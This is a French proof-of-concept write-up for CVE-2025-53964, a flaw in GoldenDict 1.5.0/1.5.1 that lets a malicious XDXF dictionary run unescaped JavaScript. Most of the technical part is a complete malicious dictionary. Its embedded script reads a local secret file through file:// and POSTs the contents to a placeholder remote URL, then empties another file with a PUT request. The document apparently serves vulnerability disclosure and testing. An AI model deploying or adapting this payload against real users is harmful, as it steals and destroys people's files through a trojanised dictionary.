
Preuve de concept d'exploitation de CVE-2025-53964 : lecture/écriture de fichiers à distance via un dictionnaire XDXF malveillant dans GoldenDict 1.5.0/1.5.1, exploitant une exécution XML et JS non échappée.
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 et 1.5.1 expose une méthode dangereuse qui permet de lire et de modifier des fichiers lorsqu'un utilisateur ajoute un dictionnaire conçu de manière malveillante, puis recherche un terme inclus dans ce dictionnaire.
Le produit fournit une interface d'interaction avec des acteurs externes, qui inclut une méthode dangereuse dans GoldenDict (ver. 1.5.0, 1.5.1) qui n'est pas correctement restreinte. Cela permet à un attaquant distant d'accéder en lecture et en modification aux fichiers du système de l'utilisateur lorsqu'un dictionnaire malveillant préparé est ajouté et utilisé dans le programme.
CWE-749: Exposed Dangerous Method or Function; CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
GoldenDict executable, source code file xdxf.cc, source code file xdxf2html.cc, source code file stardict.cc.
À distance
true
true
Accès en lecture et modification des fichiers sur le système de fichiers de l'utilisateur
Pour exploiter la vulnérabilité, un utilisateur doit ajouter un dictionnaire malveillant au programme et rechercher un terme inclus dans ce dictionnaire.
Grebennikov Timofey, spécialiste du groupe de tests d'intrusion du département de contrôle de sécurité du développement du groupe Astra.
GoldenDict est un programme graphique permettant de rechercher des termes dans Wikipedia et des dictionnaires installés localement. Divers formats de dictionnaire sont pris en charge, notamment le format XDXF avec balisage XML. Les dictionnaires sont distribués sur Internet par d'autres utilisateurs.
Le programme utilise un moteur de navigateur, inclus dans le package de composants Qt Widgets, pour afficher les mots des dictionnaires.
Plusieurs violations de sécurité ont été découvertes simultanément, qui permettent la mise en œuvre d'une vulnérabilité critique :
Ensemble, ces violations conduisent à la possibilité d'accéder aux fichiers utilisateur en intégrant du code JS malveillant dans le balisage XML d'un dictionnaire XDXF téléchargé depuis Internet.
Pour tester la vulnérabilité sous Windows, vous pouvez exécuter un script qui agit sur deux fichiers préparés dans le système de fichiers.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
Lors de l'initialisation, ce dictionnaire enverra le contenu de secret.txt au serveur distant et effacera idea.txt.
Vérifiez le succès de l'attaque – le destinataire recevra un message contenant le contenu du fichier secret.txt, et le fichier idea.txt sera vide.
La vulnérabilité affecte à la fois les systèmes Windows et Linux. Pour reproduire la vulnérabilité sur un système Linux, il est nécessaire d'utiliser des répertoires différents pour stocker les fichiers de test et de le spécifier dans le code malveillant.